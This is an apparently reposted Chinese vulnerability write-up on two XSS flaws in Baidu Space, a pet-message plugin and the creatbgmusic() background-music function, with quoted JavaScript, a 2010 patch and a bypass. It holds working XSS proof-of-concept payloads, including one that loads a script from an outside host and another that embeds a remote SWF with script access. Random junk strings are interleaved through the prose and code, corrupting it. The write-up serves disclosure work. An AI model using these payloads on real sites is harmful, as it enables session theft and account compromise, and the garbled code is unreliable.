百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
1 s- f$ m- {+ B) M' z
2 @( D6 ?& P* W+ y5 P1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
" q+ j5 ?4 Q S, Q3 Z Y2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 8 U8 C! l u0 R' k1 j
' O8 z- C4 Y( Q6 u; M' t: o. D将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> A3 ?! O1 r. R( p
其中BdUtil.insertWBR为 # p5 Z' C% J, F( a( y/ o
function(text, step) { . X4 L2 h6 L4 h
var textarea = textAreaCache || getContainer(); : P/ l7 e; T- M9 ?# x& k" t
if (!textarea) {
2 Z6 x& i& S$ m4 e return text; y. e& G! m; _& U G3 M8 {
}
! W h* V# j% V& z @ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); , a" p, `8 I8 K" d
var string = textarea.value;
1 A2 S0 v; |6 t7 Q- w( b var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
) x+ A6 m3 I0 c& D0 E+ j' O( K var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
( a' N/ a; w; ~2 Z# B* Y' N return result;
0 a7 Q% @5 ^ V' X, ^4 y}
, k; X9 w9 E; ^# X在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 2 @) L% [! W$ j n$ k/ ~( u
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> + w$ K1 s! ^0 O- O4 `/ t; o f
8 g' m1 r+ h" S' ]二:creatbgmusic() Dom-Xss Bug
9 L& V, I- u( p& d: {' J百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
2 V) O: Q6 p5 ~- w* j+ ?! D; z- Q1 d6 f) L! l
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
. n; \* F: |# r2 j) m5 T0 g+ {* H' o
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
+ r: }' t% P! W2 m //传入的murl赋值到bgmusic1和bgmusic2中
, F/ p7 z! Q2 t" L- X! e* `' B6 e7 h //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
- s. P( O9 }# E5 @$ {7 J var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
- n/ W5 a, i1 T# Y if (musicnum <= 1) { 2 O+ y, P1 i7 g8 m0 K
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
8 B7 H5 {/ O6 \$ H- S, ^! B } # a# q* R* x- S+ h" L
bgmusic1 += "</OBJECT>"; $ [' f, Z8 F+ w6 W5 A# h S
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; $ n3 u" l% ^: p: c/ ^( V
if (musicnum <= 1) { - M5 E) t+ u O Q+ K& n5 A
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ; H& W6 d% p, {! Z: v5 Q+ a
} 5 ]3 Y: w M2 l h. H
bgmusic2 += "> </EMBED>"; - ^3 F' ^( g* y- C! c9 J
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
& }! ^4 D) C% S3 C var bgmus = detectWMP(); s y+ E9 |$ ?; b2 P9 ?4 ?0 T7 U6 A
if (functype == "FckMusicHelper") {
U7 m0 ]/ K8 v q: u if (bgmus.installed) { # ~& K. l! j2 I5 ~+ Q. i# S% c
if (bgmus.type == "IE") {
" g* ? A6 `) `2 h$ v; h return bgmusic1; ) e- d. e. g5 d' n) j* q! k
} else if (bgmus.type == "NS") { ; v' Q9 t1 y4 {; G
return bgmusic2;
* p, W& B; p- c ? } % \( b1 E/ ]' [
} else { 2 D$ J* z5 Q9 ]- Z/ I/ r( Y
return bgmusic3; / w5 t. T& Z1 l% f6 Z1 {) g' G& _
} _7 ]" j& W2 Y* J& m
} else {
, L7 ?" l' V$ s$ J5 v0 v* @5 n if (bgmus.installed) { 6 b& q' p) ]( @" o- {$ s; L: h
//document.write 直接输出bgmusic变量 导致xss
- E: `8 n9 c( s) {9 j: A3 N6 ` if (bgmus.type == "IE") { 6 s2 `4 |$ q/ L/ q- I/ {
document.write(bgmusic1);
' D8 a" |: k; L/ w6 Z2 l# i } else if (bgmus.type == "NS") { + t: J+ C0 b" \# L
document.write(bgmusic2);
7 t2 P( t# N3 i/ f0 q- J' @1 e# ? } ! q- D# G4 N" e
} else { ( G/ t; V- ^: _7 L7 m h3 y
document.write(bgmusic3);
2 Q4 p* h5 ~5 y }
, J3 R* n" x* F' r7 A return "";
7 d# d; `2 l1 \/ M } 3 s4 H* ~; }' ?
}
3 T( o' M" J4 I$ v- L# }# n {' V4 Q8 v5 g3 ^2 M7 b& k4 H
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
9 B" G7 e9 x5 }5 O( P. z0 o, Q+ t! L) H: y/ t. E
function initBlogTextForFCK(){
Q* {- X. p4 l( ^, O k; G//fck init music
. |3 R1 l% D4 |1 ]$ \6 Wif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} . Q# S4 M+ c. P" U, v/ P2 }' w
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 5 h, x* v+ i q, l
var isAutoPlay=true;
, P; {! v: V5 D2 w# G1 i$ qfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. $ _0 \2 L. V8 J/ V( @* |
var img=imgBox; 3 C! a4 X- N6 n" {) j
if(img.getAttribute(’rel’)){ . a# t1 d- U7 j1 y& T
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
( U4 A, q$ |& } var musicDiv = document.createElement("SPAN"); $ l. F+ r. t& ?4 N1 ]# \
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
! n) i- ^- a; g0 H% g6 |; o y
3 l% | S2 G! [; U1 y ..........................
/ u6 B* b" b( Z. m4 G j) d ' l( C8 V9 ^! q" y6 i3 n1 y
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 0 \& r9 r. R/ [3 l' Z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
0 J( \" Y K/ F3 `% M' I shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); " \0 g) @" A. W" C e/ t
musicDiv.innerHTML=shtml; / n8 Z, `$ V ^1 ?
i--;n--; 5 z' l! J1 L+ D+ ~3 V
} " h2 @: i# O/ G9 D+ m; E, W8 A) m
} 2 U7 D8 T3 r( c& U1 g5 E- |
) e- `8 ]7 g# r
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. : v- A! ^+ I' O p) f# l
* D: p7 N6 y, o; Z/ w
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
+ A" @+ A0 ]9 S! p+ l: b5 M3 D; z1 d+ D& Q
等待官方补丁 ' F) q0 H- X+ w2 E. b
$ n/ g! ] }" y2 h. z# ^update 2010年5月13日
' N, a, M$ w8 V; v, l. l9 A
$ R$ L1 j% h# F5 X9 A官方补丁: / x* ^9 Q3 ]- X' @
! q) V: {, V5 R% B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); " O6 A' @4 s8 m1 e* d
改为:
`, B, D* A/ o) Bvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
& ?/ X( \" Z E7 N
! S m. r2 j6 E Kupdate 2010年5月13日 21:50:37
+ h5 a1 A' m1 y6 x( i) \% E5 X
' {# h" G1 P# K4 J: r补丁存在漏洞 没有过滤" 可以继续跨: , k& P: p u! H7 X
# e/ o9 p4 h D* |4 t7 \
NEW POC:
f' T) a" P K" @/ h8 J6 {: N7 u3 U2 ?9 }
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
( c0 Y% T, R8 G6 D; ]! \$ G: I! U- b' S# D8 k1 A
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>9 N. D# v9 { I' ]9 N
1 r* H$ T$ l# M- l# ~( G |